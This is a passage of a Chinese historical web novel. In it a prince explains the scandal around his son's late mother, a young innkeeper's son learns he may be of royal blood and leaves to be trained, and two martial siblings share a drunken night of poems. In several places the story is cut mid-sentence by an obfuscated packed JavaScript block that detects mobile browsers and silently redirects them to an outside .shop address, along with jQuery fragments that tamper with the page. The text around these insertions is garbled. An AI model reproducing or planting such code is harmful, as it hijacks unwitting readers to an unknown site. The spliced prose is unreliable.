“既如此,便也罢了,太傅喝罢。” “谢陛下。” “太傅这般态度,是要朕此生都不必再听你喊一句衍知?” “陛下,不合规矩。” 字里行间,句句不离规矩二字,谢衍知闷头饮尽一杯茶,半晌,竟笑了。 笑到最后,新帝催促着楼太傅喝茶,见他饮去,便让他离开了。 另一边,江南萧府,楼玉京等人商议前往京城,至于楼韫,其实楼玉京更希望他留在江南,只是对方不肯,心知就算他们不带,他也会自己跟着,楼玉京还是同意连他一起带走。 傍晚白尧叙先行进城,后半夜,楼玉京几人再趁着人少,守卫分心时进去。进城之后,由白问引带路前往落脚住所,那地方与琼景王府不远不近,商议也方便。 翌日,早朝时分,白问引重新乔装以白倾熙的身份上街,于万兴楼包间探听消息。在他走后不久,琼景王妃宋则安带丫鬟出门。 白问引订的包间隔壁是一群常来的纨绔,其中有李明德的侄子,李府二公子李骁。 酒楼隔间大多以木所制,所以隔音不算太好,李骁又是个爱打肿脸充胖子的,嚷嚷的声音盖过其他几人。先是说他叔叔当了那么多年丞相都没有被撤职有多么高的权力,又说可以让叔叔帮他们安排职位。 实则能排上的都是闲职,无实权,但对纨绔来说闲职也足够压民间百姓了。白问引冷嗤,听了半天,李骁说来说去除了自卖自夸,旁的什么也不知道。白问引打算换个包间,他记得每逢处暑日,镇国公府的小公爷都会来吃些凉性菜式。 只是不巧,他刚出门还没走几步就碰上了准备进包间用膳的宋则安,一瞬间他眼中寒意如同实质,却又迅速压下,转头要走。宋则安已经注意到他了,皱着眉总觉着这人面熟,她身边的丫鬟忽然说道:“王妃,好像是萧公子——” 宋则安当即跟上,她好不容易才设计将萧鹤明弄走,若他回来,王爷必将心软——“萧鹤明,你站住!见了母亲不知行礼,反倒往后躲,是谁这样教你的?” 白问引没有停,哪怕这疯女人认出了他。只是萧鹤明这个名字从她嘴里出来,当真恶心。 丫鬟步子快,先一步到他跟前拦下他:“公子留步,王妃……” 丫鬟僵住,眼前这人虽说高大,与萧鹤明几分相似,这张脸却是雌雄莫辨。 她不是萧鹤明。 宋则安这时候也赶上了,朝人看去,也霎时与丫鬟一道僵在原地。白问引垂眸,淡淡道:“夫人追了一路,可是有事?” “……” “夫人若是无事,还请不要拦着我。” 白问引说着便要走,宋则安再次让丫鬟拦下他。 “等等,你是谁家小姐?”宋则安问。 白问引皱眉不耐道:“我是乡下来的,夫人想问什么?” 乡下来的……难怪不认得她,还用这种语气与她说话,只是这张脸未免太像萧鹤明。宋则安攥紧手中的帕子,思绪混乱,白问引趁着这个间隙已经离开了,丫鬟站在宋则安身边担忧地喊她:“王妃。” 宋则安看着逐渐消失在人海里的白问引,道:“回王府,另外,找当年为萧三娘接生的稳婆到院中,我有话要问。” “是。” 宋则安的院落在琼景王府东侧,称青雅苑。她坐在院中,廊下并排站着接生稳婆与当年伺候过萧三娘的丫鬟,她漫不经心地用杯盖拨茶,随后看向两鬓斑白、垂垂老矣的稳婆。 “王婆子,你说当年萧三娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17845933|211733||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 生产,诞下男胎,当真是仅有世子?” 王婆子闻言,一拍大腿,慌忙解释:“当真!王妃,当时张婆子也在,我们接下来的仅有一名男胎。” 宋则安看向了张婆子,张婆子是个哑的,也在不住点头。 她饮了一口茶,将茶盏放在一旁的小几上,再次看向两人,眼神锐利。 “如若我说,今日我看见一女子与萧鹤明至少七分相像呢?” “这……这怎么可能……三娘当初确定只怀了一胎啊!王妃您亲自请的太医!” 是啊,当年太医是她请的,一问再问确定了只有这一个男胎,萧鹤明是个犟种,想来不会男扮女装,那这个孩子……这张脸,真的只是巧合么? 萧三娘啊萧三娘,你可真是留了一个难题。 天边烈阳正盛,白尧叙闻讯而来,却佯装不知。 “王妃请了当年的稳婆和丫鬟,可有要事?” 宋则安让人退下,与白尧叙回屋,坐在圆木凳上发愁。 “我今日在万兴楼见到一个跟鹤明很像的姑娘,问了稳婆当年究竟是不是双胎,但都咬死了说只有男胎。” 白尧叙点头。 “原是如此,何须担忧,是不是三娘的女儿,待再见面时验上一验,不就一目了然?” “说着简单,谁知道能在哪见着她?” “有缘即重逢,王妃烧了那么多次香,还没悟得这个道理?” 傍晚白尧叙到了落脚点,轻敲三下,间隔后再敲五下,门开了,门后是吝筱。 白尧叙进门后吝筱落锁,楼玉京在正堂,楼韫与她在下棋。白问引刚换了身衣裳从后边出来,见他来了,脚步顿住,眼神微冷。 “让你的王妃以后不要再喊我的名字,怪恶心的。” 白尧叙看了他一眼,大抵猜到是哪个名字了,淡淡道:“你自个伪装得不够好,被她认出来,还能怪没有我不许她说那三个字?” “那是我娘给我的名字,她没资格喊。” “她是你娘。” “我娘不姓宋,二十多年尸骨未寒,你不愧疚吗?自诩我娘,宋则安也死了吗?” 白尧叙眉头狠狠一皱,难得对他语气冲了起来。 “白问引,这句话收回去,哪怕你说我死了都没关系,但你不能说她。” 白问引咬牙甩袖,打算回万兴楼看看能不能碰上小公爷。白尧叙无视他的离开,看向楼玉京和楼韫的棋盘,楼玉京几欲出手,只是乍一看无论如何出,都是败局。 “楼老板,走这里。炮沉底,车吃马,反将,兵向右。” 楼玉京看了他一眼,又思索片刻,照他说的做,原本必败的棋局瞬间反转,楼韫败了。 楼韫没有生气,默默收好棋盘,到厨房备餐。白尧叙坐在楼玉京对面,说:“想问便问罢。” “为什么他一碰上王妃就变得暴怒甚至是任性?”她没有问名字的事,只以为白问引是他娘取的名字,他不肯王妃喊他。 白尧叙说:“他没有跟你说过?” “他说过,但我想知道全部。” 白尧叙扯了扯唇,外头暮色四合,这个点不冷不热风景宜人。 “他不是我亲生子,还有,三娘的死和王妃无关。” 15. 一任群芳妒 三十年前,元初四年,晌午吉时,琼景王娶妻。 宋家小姐宋则安收下王府带来几乎整条街的聘礼,整整一百九十九抬,声势浩大,人人艳羡。与此同时,与宋家世代交好的萧家在凉城收了拜帖,赶往京城观礼。 萧三娘萧无漾入宋则安闺房,仔细为其在额间画了一朵琼花。 “则安则安,王妃嫁了心爱的人,额间琼花绽开,贺你二人情比金坚日日好。” 宋则安笑着接过她手中的笔,在她额间点一朱砂。 “无恙似观音,无漾年日好。”宋则安轻抚她发顶,“你我三人本是多年好友,何须唤我王妃,伤了情分?” 萧无漾笑着点她鼻尖,道:“观音娘娘可不是能随便搬出来说的,我对娘娘望而不及。好了则安,要出门了,我扶你。” 那日萧无漾亲手为她盖上盖头,又扶着她从闺房到正厅,再上马车。到了王府她却没有进去,只在门口观礼,轻声说。 “既来则安,安敢不敬。” 元初四年末,腊月二十八,凉城萧府,萧无漾的母亲刚才过世三日,尸骨未寒,父亲不顾阻拦强行将姨娘扶正。这位姨娘本就与主母斗了多年,一朝扶正,萧无漾的日子变得艰辛。 云姨娘自己有一个儿子,又厌恶萧无漾的母亲,对她自然恨屋及乌。平日的吃穿用度缩减一半便也罢了,只是对方打的算盘是要把她送上琼景王的床。 照她设想,无需她动手,三人情分瞬间会开裂。即使不是瞬间分崩离析,但只要这根刺一直扎在心里,假以时日,宋则安必然会恨她,琼景王爱妻,自是不会放过萧无漾。而萧无漾的父亲则认为可以在事后将事情闹大,无论如何得一个侧妃的名分也是好的。 千算万算,萧无漾不肯,见招拆招日日提防。随之而来的是父亲软禁她,云姨娘将她身边人全部换走,消息放不出去。倘若真的到了那时,她怕宋则安恨她。 终于趁着某日,父亲接旨治理水患,云姨娘与其他府上的夫人们打叶子牌,她趁晌午丫鬟小憩时溜出府。萧无漾在外躲了半个月,云姨娘派人追捕,她不慎跌落河中,被冲到下游,得遇一俊俏姑娘,捡回一条命。 萧无漾与这位姑娘回了村,她摘下发间的银簪递与她,求她收留一段时间,姑娘没收,却留下了她。 萧无漾在村里住了三个月便动身离开,姑娘为她备了吃食,与她说,阿姐若有机会,再回来见见我。 她答应了。 一走却是半年,途中她与抢劫富商,救济百姓的少侠相识。相知相爱,半年的时间足够冲刷淡忘那些不愉快的记忆,大婚前夕萧无漾说要带他去见见自己的恩人,在返回途中她还是被云姨娘的人捕获了。 情郎被杀,她被绑回凉城,恰逢此时琼景王下凉城巡视民情,报与先帝。萧无漾被带回去那天,云姨娘借她的情分留了琼景王在府上用膳。也是在那天夜里,被下了蒙汗药的两人齐齐昏睡,剥去衣衫关在了萧无漾的房间,以作琼景王犯了色心,深夜潜入闺阁女子房中对其施暴的证据。 翌日一早云姨娘果真带着萧老爷进来了。 捉奸在床,无论琼景王作何解释,无论萧无漾如何崩溃大喊着他们无耻,云姨娘与萧老爷一口咬死了琼景王侵犯了他们的女儿。 白尧叙那会也回过味来,明白云姨娘算计他二人。看着嘴上嚷嚷要报官,眼中却丝毫藏不住野心的女人,又看着几乎要笑出来的萧老爷,白尧叙震怒,将几人轰出门外,随后他没有回头,平静地说:“穿衣服吧。” 萧无漾啜泣着穿好衣裳,缓缓挪动身子推门出去了。 她低估了云姨娘的狠,原以为她只要宋则安知道,哪想到很快整座凉城人尽皆知她和琼景王做了对不起宋则安的事。白尧叙走的那天骑在马上,居高临下地看着被强行推搡出来的萧无漾,眼中泛着厌恶。 “想进琼景王府,可以,但是萧老爷,你女儿只能做妾。” 如意算盘落空,萧老爷亦没想到白尧叙这样狠,丝毫不顾萧无漾的名声与情分,只给了贵妾的名分。一个贵妾是无法让他们扒着吸血的,云姨娘咬牙,正要说些什么,触及白尧叙憎恨的目光却不敢开口了,只得打碎了牙往肚里咽。 萧无漾坐在马车里已经木然,她甚至可以想象到自己的好友将会如何咒骂,眼尾一滴泪落下,逐渐昏睡。再醒来是在王府的床榻上,宋则安和白尧叙守着她,她惊惶,下意识要起身请罪,宋则安当即拦下她。 白尧叙将茶水递给宋则安,慢慢喂她喝完。 “那件事王爷与我说了,但是无漾,你我相识多年,我与王爷又岂是那般痴傻之人?” “则安……我……” 白尧叙冲她摇头,说:“如今外头都说你对不住则安,陛下赐贵妾之名,是我深思之后以为的最好结果。我不会让他们吸琼景王府的血,对外,我与则安恨你,在内,你与则安的待遇别无二致。无漾,我们能帮你的亦只有这些。” 萧无漾摇头落泪,捂住自己的小腹,哽咽道:“我有孕了。” 宋则安:“!!!” 白尧叙攥紧了拳头,瞳孔骤缩:“你说什么?” “王爷下凉城之前,我从家里逃过一次,在外躲了许久,得遇恩人与夫郎,只是我与夫郎大婚之前,云姨娘的人找到我,将夫郎打死,把我绑回凉城。王爷放我走罢,若我留下,我与这孩子必将成为众矢之的。” 宋则安握住她的手,说:“晚了,无漾。算计一事京中盛传,外头不少喜爱王爷的贵女在盯着你,若你离开,这个孩子怕是保不住。不若留下,这孩子,我与王爷视他如己出。” 那日之后,除却外头那些嘴碎忮忌的人会背地里踩她一脚,她的日子已经许久不曾这样舒心了,一直到生产时难产,白问引出生三个月后她就病死了。 “这便是当年事发全部。” 楼玉京已经说不出话了,许久之后,她嗓音干涩地问: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17845934|211733||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' “你们没有跟他解释过吗?” “有的,一开始则安告诉他,外面说的都是假的,我们和无漾十多年至交,让他不要信。可惜一时不慎,他趁着则安不注意偷溜出去玩,被得知三娘留有遗孤的萧家人知道后,想尽办法将他带走了。” 白尧叙轻叹,似是无奈。 “云姨娘惯会演戏,三言两语就把他骗得团团转,孩童没有自主意识和想法,别人说什么就是什么。加上很多时候参加宫宴,他都吵着要去,宴会上那群贵女的丫鬟嘴碎,说王妃与王爷在一起多年都无所出,想来是会恨贵妾的孩子。他在这种长时间的浸染下对则安因为妒忌和憎恨害死三娘的事深信不疑。” 楼玉京怔然,随后低低笑了起来。 “无所出,恨贵妾……照这样说,您与王妃是为了他才决定不再要属于自己的孩子,是么?因为答应了要照顾好白问引,可一旦王妃产子,依照白问引的性子,又怎么会不对比呢?如果对他比对自己的孩子更好,那于自己的孩子而言,又怎么会不是伤害?” 白尧叙没说话,楼玉京所说句句属实。当年宋则安狠心逼着他废世子,将人赶走,亦是无奈之举,朝堂血液换新开始,压错一步,便步步是错。从萧府将人带回来后,宋则安不许他出门,白尧叙对外说这孩子大病一场,身体垮了,从此他就是世人口中的病秧子世子。 直到今日,见过他长大后的外貌的人很少,倘若白尧叙压三皇子输了,谢衍知要斩草除根,白问引至少还能凭借传闻躲一段时间。 只是……楼玉京忽然想起白问引与她解释的萧大公子之事,她看向白尧叙。 “王爷,恕我冒昧,世子的堂兄有一个至交,对方是叫萧鹤明吗?” 白尧叙顿住,深深地看了她一眼,大概明白白问引又给他留了个烂摊子,虽然他应该没想到楼玉京会直接问他就是了。 “是,但我听说萧鹤明已经没了?” 楼玉京点头,又压低声音:“您说萧三娘会不会其实生了双胞胎?” 白尧叙:“……” 好耳熟的问题,他怎么记得他的王妃也问了稳婆类似的话。 “世上长得像的人多了去了,楼老板,不要轻信传言,当心变成白问引。” “……” 与此同时,万兴楼二楼,镇国公府的小公爷沈为平刚刚用完午膳,推开门准备回家就瞅见门口站着一个陌生男人,他迟疑了片刻,说:“公子找人?” 白问引点头:“找你,我们进去聊。” 沈为平:“?” 他上下打量,倒不记得自己见过这个男人。直到对方拿出琼景王府的玉牌,沈为平脸色凝重,将人拉了进来。 “王爷差你找我?” “不是他,是我找你。” “你是谁?” 沈为平皱眉狐疑地看他,看着看着觉得对方有点眼熟。 直到对方说。 “萧鹤明。” 16. 一见如旧识 “好生热闹!”人未至,声先来。浪荡不羁、不拘小节,除那小公爷沈为平,满京城找不出第二个。 白尧叙回头朝来人颔首,楼玉京随着看去,小公爷将笑未笑,上前作揖:“好久不见了王爷。”言罢抬头,看向楼玉京,故作惊讶:“楼太傅的徒弟?倒是稀罕人,江南的生意做不下去,到京城来开酒馆了?” 楼玉京倒也不与他客气,递了杯茶才接他的话:“小公爷还是嘴上没个把门儿,要是哪天我生意真做不下去,可全赖你咒我了。” 白问引进门稍慢,刚迈入一步,沈为平一把将人拉到跟前,与白尧叙控诉:“世子爷特意拉我打黑工,王爷可不能惯他,得给我结工钱。” 白尧叙了然,说:“可以,一日一两。” “我身价这样不值钱,还是王爷抠门,不肯多给?”沈为平显然对这个价钱不满,以身份抬价。 白尧叙却似笑非笑:“小公爷最近又惹了国公夫人,没钱花了?镇国公知道你出来挣钱么?” 沈为平眼中划过狡黠,说:“自然知道,我爹还让多拿点报酬。” “几年不见,这老狐狸胆子倒是大了不少,敢宰琼景王府了?” “王爷这话说的,琼景王府没那么穷,也没那么小气吧?” “罢了,明日让王妃和你娘聚聚。” 沈为平还是笑,乍一看门外天边变色,就说:“天要暗了,我就先回了。” 楼玉京却道:“小公爷何不留下用了晚膳再走?” 而后看向吝筱:“麻烦你通知阿韫,备膳。” “楼老板这是半点余地都不给,直接备膳,我也不好不给你面子。”沈为平与几人一道入了膳房,落座在门口第四个位子。 几人的话题转入叙旧,吝筱回来时手里端着鲫鱼汤,身后跟着上菜的楼韫。沈为平下意识回头看向门口,目光触及楼韫那张脸的时候整个人微不可查地僵了一瞬,待人去拿最后一道菜时,沈为平才回头去问:“方才上菜那位是?” 楼玉京抿了口茶,平和道:“哦,是我儿子。” “楼韫?” “是他。” 沈为平恍然点头,“一晃多年,楼老板的儿子都这么大了,方才初见,我道是我哪个乡下故人的儿子到贵府做下人了。” 楼玉京夹菜的动作一顿,白尧叙淡笑:“小公爷看谁都像故人,以前追着问引念我见青山。” “王爷总下我面子。” “事实而已。” 楼韫最后一个入座,恰恰就在沈为平身边,楼玉京低头扒了一口饭,眼神却就着碗沿朝两人瞄去。忽然沈为平手肘撞到杯盏,楼韫下意识伸手去接,只是慢了一步,没接住。沈为平看向楼玉京,故作歉意。 “不好意思啊楼老板,夹菜的时候没看见。” 楼玉京只是笑:“没关系,一个多年不用的杯子而已。” 白问引深深看着沈为平,沈为平笑起来像是狐狸,眯着眼看回来。白问引佯装饮茶,借着动作,无声与沈为平说:你在试他。 沈为平敛了笑,几不可察地点头。 一顿饭吃得各怀鬼胎,楼韫收了碗,与吝筱送到厨房。天已经彻底暗了,家家户户挂起灯笼,趁着吝筱洗碗,楼韫借口肚子疼,转身出门,迅速隐入黑暗。 沈为平这会与白问引已经走到巷口,二人小叙。 “你早认出他了?”沈为平靠在墙边问。 “只是猜测。” “那你不用猜了,就凭那张脸,不会有错。”沈为平难得没与他插科打诨,正色道:“如果真是这样,那牵扯到的东西太多。现下他自己知道些什么?” 白问引默然,身后脚步急促,凉风习习。 “我爹什么都不肯告诉我。” 是楼韫。 他停在离两人几步远的位置,目光直直落在沈为平身上。 “我听他们说你是镇国公府的人,萧鹤明,你知道我爹什么都没有说,现下我们三人在这,我只想要一个真相,但我爹说我会死,为什么?” 沈为平扯唇笑了起来:“哦——原来是个什么都不知道的可怜虫啊。” 白问引往他身后看去,确认没有第四个人跟来,声音平静:“你爹都不肯说,你凭什么认为我们愿意说?” 楼韫反问他:“我是你们的筹码之一,对吗?” 沈为平是个胆大的,哪怕街边没人,哪怕如李骁那样嚣张,在内在外都不敢说:“你想做皇帝吗?” 楼韫霎时僵硬,连话都有些结巴:“什、什么?你在说什么!新帝刚刚登基,你就说这样的话,你要用我谋反?” 白问引看他那副不可置信,甚至还有些傻的模样,忽然叹道:“楼韫,如果你身上流着皇室的血呢?如果你是除了三皇子以外的第二人选呢?” 既然他自己非要求这个答案,既然他都做出瞒着楼玉京出来追问他们的事了,与其将来让他因为这个答案被骗,不若早早让他知道,让他做好准备。当今楼玉京是不可能护他一辈子的,迟早事情都会败露。 沈为平说:“楼韫,现在你知道当初李明德下江南为什么抓了你爹和他还不够,非要找到你了吗?朝堂之上,早就有人盯上你了。” 楼韫只觉得脑子一片空白,混乱极了,他扶住一旁的墙,两腿发软。他想过可能是用他来威胁楼玉京或者楼悯弦,也想过是不是李明德想用他打掩护,但他从来都没有想过血脉原因,哪怕他知道自己是被捡来的。 沈为平继续说:“你问楼玉京没有用,她比你更加不可置信,如果可以,你去问楼悯弦吧。” “我不信!我只是一个普通的酒楼老板的儿子,我不是皇室血脉,我不做皇帝!”他像是崩溃了,双眼猩红,眼泪从眼眶掉下,朝着两人毫无礼节地大叫。 两人都没有接话,平静地看着他发疯,等着他消化,等到他接受——他不得不接受。 最后楼韫昏了过去,白问引将人扶起来往回走,走了几步又忽然停下,却没回头。 “为平,去找楼悯弦吧,反正他也迟早会亲自教导楼韫,不如推前。”35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17845935|211733||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' p> “我知道了,楼玉京那边你自己解释。”似乎想起了什么,沈为平又说:“她今天没有阻止我的试探,我估计她应该信了,只是不肯承认。” 翌日楼韫醒来,白问引拎了张椅子坐在他床边,显然是等了许久,他还没从昨夜的对话中消化,现在见了他人,语气恶劣得很:“出去!” 白问引只是通知他:“今日入夜,楼悯弦回来接你。” “你凭什么赶我走?” “不是赶你,楼韫,你不是可以在楼玉京怀里哭着讨糖果孩子了,如果你不想将来拖累她,就等楼悯弦来带你走。” “……” 楼韫忽然沉默,他已经十八了,确实不是个孩子了。 倘若他真的没用到什么都要靠楼玉京护着,倘若有一天他护不住自己,他成了楼玉京的软肋,使楼玉京受人挟制、不得自由,叫她举步维艰、寸步难行,到那时候,他又如何对得起她多年的养育之恩? 就算她不怪他不恨他,他会替她怪自己恨自己。 很久之后,楼韫回答了他,声音沙哑,只说了一个好。 入夜,楼悯弦等在巷口,接到沈为平的拜帖他并不意外。 沈为平替楼韫请他教导却是在意料之外,毕竟他原本以为楼玉京会亲自来,再不济来的也会是白问引,他甚至以为沈为平是来替镇国公府投诚。 楼韫已经出来了,站在他对面规规矩矩地作揖喊他师公,楼悯弦淡淡道:“走罢。” 待二人走远,原先站在门口看着的白问引还是没有回头,只是说。 “不亲自送他离开,心里不难受?” 暗处,楼玉京怀里抱着一个食盒走出来,里头是楼韫以往爱吃的糕点,她还是没能亲手送上。 “既然是师父带他走,我又何必不放心。” “我以为你会阻拦。” 楼玉京苦涩一笑:“阿韫的确应该成长了,如果早点知道,或许从小我就会让他跟着师父走。” 楼玉京比他想的豁达很多,也比他想的长远,奈何那个如果并不存在,若真的有,只怕在这个世上,楼悯弦和她肯不开口,就不会有第三个人知道楼韫的身份。 白问引想,这个男人当真是最合适的合作伙伴,也是最让人敬佩的对手,说话做事方面都很漂亮,也难怪春歇楼与周围关系能经营得这样好。 楼玉京抱着食盒往回走,却从袖口掉下半块白玉,她脚步顿住,回头时白问引已经把玉捡起,那块玉上海隐约能看出刻了一个鹤字。是当初她和萧鹤明打架时抢来的,楼玉京下意识伸手去抢,白问引并未纠缠,只是目光沉沉,问她:“这块玉成色不错,不知楼老板是在哪里买的?” 楼玉京心烦意乱,把玉放好,随口胡诌:“朋友送的。” “楼老板的人脉还是广大到超出我所想,但是朋友送的断玉贴在心口放,难免不让人多问。况且瞧这做工,这块玉更像男子惯用的款式。”白问引说完,便低头看向她,迟疑地道。 “恕我冒昧,楼老板……是断袖吗?” 17. 君生我未生 “不是。” 楼玉京几乎想都没想就否认了,她回头借着月光去看收刚收回手的男人,一字一顿:“我不是,即便我留着友人相赠的玉,我不知道世子为何会这样想我与他的情,但还请您日后不要再问这个问题。” 白问引垂下眼睫,低声应好,而后又说抱歉。楼玉京颔首,转身没有再回头,风吹过她的发梢,走去了近在眼前的天边。 那夜落了微雨,窗边落满花。白问引回到自己的房中锁好窗户,楼玉京则相反,且在梦里见到自己压在心底不肯放出的人,从初遇到最后一次相见,是在萧鹤明死去的三天前。那时他得了一壶好酒,有些别扭地说要请她喝。 楼玉京盯着他的动作,本以为对方会拿水戏耍自己,然后说她不识货,她正欲嗤笑,嘲讽他没安好心,可却看酒坛子里倒出来的不是清澈酒水,是血色的红流。 她僵了一下,缓缓抬头,原先那张俊俏的脸已经血迹斑斑,萧鹤明流着血泪还在与她笑,阵阵回音在劝她:“快喝啊,这是一壶好酒,这次我不骗你。” 确实是一壶好酒,酒香醇厚,余味绵长,一杯即醉。 楼玉京没有像曾经那样倒去碗里,扯了扯唇,指尖颤抖,但还是伸手拎起酒坛直直往嘴里灌,血水顺着她的唇角落下,一路蔓延到她的脖颈,浸湿衣襟,但她没有停,甚至有些被呛到了。 萧鹤明愣了一下,旋即大笑,说她豪放,等他出了这趟远门回来再找她喝。又让她慢些,呛着难受。 楼玉京喘着气,放下酒坛,用袖口抹了一把唇角,笑说:“好啊,那我祝你此去,一路平安,回来那天,我要看见十坛佳酿。” 承诺许下,目送男人远去,至此她再也没有尝过那般滋味的酒水。 窗外泛起鱼肚白,鸟鸣涧,鸡打鸣,梦该醒了。楼玉京抬脚离开了春歇楼,回头已至京城。 枕边是干的,脸上也没有泪痕,楼玉京再想起萧鹤明,已经不会难过到哭了。 京城楼府,昨夜楼韫随楼悯弦进门就发现房间早已备好,显然是在等着他了。虽说消化了这么久,但他还是有些难以接受。 就算只是寻常布衣,与楼玉京一道办好春歇楼,度此一生,已然美满。 奈何卷入朝堂纷争,不得自由。 “师公……”楼韫四处看看,咽了咽口水,嗓音艰涩,“之后我需要做什么?” “我会让你太师姑教你几招防身,以及当初我如何教导陛下,如今便如何教导你。” 楼韫愣了一下:“太……师姑?” 楼悯弦没有再解释,让人将他领到后院等候。沈蕤进门时他在找谢衍知看过的治国之道,对方双手环抱靠在门框上笑话他:“用同一种方式,你就不怕教出第二个谢衍知?” “我要他比谢衍知更疯。” 沈蕤笑意僵住了,让楼韫比谢衍知更疯,也就意味着……楼悯弦不想留谢衍知的命了。 “老东西,你还真就心狠成这样。”沈蕤往前走了几步,然后说,“若楼韫登帝,只怕整个朝堂的牌都要换一回了,你确定李明德不会拦你?” “不动李家,李明德多少会留几分薄面。至于谢衍知,留他一命,后半生也只能在天牢郁郁而终,何必让他痛苦。” 沈蕤:“……” 沈蕤教了楼韫半个月,所幸对方悟性高,肯吃苦,学得快,沈蕤教得轻松。加上楼悯弦的熏陶,他脸上傻气全无,人也沉稳了些,但还不够。 楼悯弦抽空和他过了几招,越过眉头越紧,最后一击,楼韫却忽然转身接下他一掌,内力震得衣袂翻飞、尘土四起,身后的池塘泛起涟漪,树枝晃动。 楼悯弦脸上没什么表情,收回手转身离开,只留下一句:“今日起,每日加练两个时辰。” 楼韫心中叫苦,心想以前给楼玉京搬菜都没那么苦。心中苦哈哈,但他还是再用了晚膳之后,一个人在院中加练了两个时辰。 深夜楼韫沉沉睡去,楼悯弦提笔于书房写信,是要给李明德。沈蕤就是这时候进来的,她随意将尚且温热的粥放在案几,转而站到了楼悯弦身侧去看。楼悯弦没有躲,这封信又不是见不得人。 沈蕤许久没有见过楼悯弦提笔写字,搬了张椅子坐他身边津津有味看了起来。她看他转腕又一笔,笔落又一横,遒劲有力、铁画银钩,是他的字,多年来一成不变。 “不过是字,我记得你的字比我好。”楼悯弦折好信纸,淡声说。 沈蕤眉眼弯弯,说:“字好人更好,不都说见字如晤,字如其人?” “……” “师兄许久不去我的竹屋,外头竹子断了几根,发黄的叶问我那个板着脸的什么时候回来,不若今日便回去一趟,是看竹林,也是看字,师兄许久不见我写字了。” 沈蕤口中的竹林在城外,是她多年旧居,对两人来说这段距离不算远,不过多时便已到了。 楼悯弦抬腿欲进门,身前沈蕤忽然回头发难,提剑刺来。没有犹豫,没有停留,不过是一把桃木剑。楼悯弦闪身躲过,挑了挑眉:“要打架?” “打——师兄许久不出手,我怕你生疏!” 第二把桃木剑扔到他跟前直直插入泥里,楼悯弦伸手拔出,两指轻捻,眼神倏尔一沉,抬剑挥去。沈蕤疾步上前,挥剑接下——“哐当”一下,尘土追上衣摆,带去污渍,转瞬四散纷飞,利刃破空。 这一场来回打的痛快,三炷香落,汗水浸湿了墨发衣衫,沈蕤却笑,楼悯弦收剑坐在了一旁的椅子上,眼神柔和。 沈蕤束发后进屋取了六坛酒与纸笔,两人坐在夜幕之下的院中饮酒对诗。 不过是那安得广夏千万间、那兴亡百姓苦,转而又叹欲买桂花同载酒,叹物是人非事事休。 沈蕤饮完一坛酒,提笔畅快写下人生不相见,动如参与商。楼悯弦接着写一句我亦飘零久,沈蕤笑他半生无风无浪,何来飘零之久?说他在这月色之下不写风景,在这酒香之中不写洒脱,居然在叹我亦飘零久。 然后她在楼悯弦的注视下,写君生我未生,我生君已老。君恨我生迟,我恨君生早。 楼悯弦原先嘴角噙着淡笑,这会不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“神爱世人就要公平,可是师兄我们的感情不是对等的,不是一致的,谈不来一句公平!” “神是你的心中所想,这个身份是你赋予我,而并非我本身。”楼悯弦没有回头,只是淡然地推翻了沈蕤的神论,“何况……阿蕤,从你入师门开始就是我在带你,你要的情谊我曾经给过你了,现在我确实已经给不了你更多了。” “给不了便给不了罢,一首诗而已,不过日后不写,换一句人生得意须尽欢岂不快哉?” “你醉糊涂了。” “是吗?醉了就醉了,醉了敢说胡话,有些话醒着的时候是不敢说的,永远都是要借着我喝醉了这个借口,才敢全部吐出来,届时再被拒绝就不会那么无措了。” 沈蕤看向窗外的月亮,今天不是月圆之夜,但月光还如以往,光亮如瀑,晃眼得很。 沈蕤伸手遮住了双眼,声音平静:“师兄回罢,今夜你我都已醉酒,不知对方说了什么。” 18. 欲语泪先流 楼韫或许真真是有那份天赋,短短一个半月,他周身已然有了那股威压,与楼悯弦过招时也不再横冲直撞,倒多了几分游刃有余,数十招后楼悯弦眼中流露几分赞许。 楼韫勾了勾唇,沈蕤在树下遥遥看去,却只觉悲哀,她知道谢衍知当年做的分明比楼韫更好,但他从未得到楼悯弦半分青眼,直到心死,心凉,知道登帝也只得到一份君臣之礼,神性冷血,当真不假。 “师公,我什么时候能回去见我爹?”楼韫终于还是忍不住问了出来,一个半月的时间,他从来没有和楼玉京分开过这么久。 